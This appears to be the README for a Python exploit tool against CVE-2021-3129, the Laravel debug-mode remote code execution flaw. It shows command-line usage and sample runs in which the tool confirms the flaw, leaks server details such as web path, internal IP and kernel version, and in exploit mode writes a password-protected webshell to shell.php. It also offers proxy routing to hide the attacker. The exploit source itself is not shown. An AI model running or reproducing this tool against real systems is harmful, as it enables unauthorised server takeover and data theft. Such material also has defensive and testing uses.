Laravel Debug Mode RCE Vulnerability (CVE-2021-3129) POC / EXP

CVE-2021-3129 EXP / POC

⚠️ Note: Due to the fact that exploitation and detection of this vulnerability require multiple requests, the process may be slow.
Usage:

python CVE-2021-3129.py
usage: python CVE-2021-3129.py -u [url] --exp

Laravel Debug mode RCE（CVE-2021-3129）POC & EXP

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     指定目标url地址
  -e, --exp             利用漏洞写入webshell，如不指定，则仅进行漏洞检测
  -p PROXY, --proxy PROXY
                        设置代理，如socks5://127.0.0.1:7890

Example:

# poc
python CVE-2021-3129.py -u http://xxxxx.com 
[✅]检测到漏洞！[🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64

# exp
python CVE-2021-3129.py -u http://xxxxx.com --exp                     
[✅]检测到漏洞！[🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64 
[OK] 成功写入webshell, 访问地址 http://xxxxx.com/shell.php , 密码 whoami

# proxy
python CVE-2021-3129.py -u http://xxxxx.com/ -p socks5://127.0.0.1:7890
python CVE-2021-3129.py -u http://xxxxx.com/ --exp -p socks5://127.0.0.1:7890

CVE-2021-3129-exp

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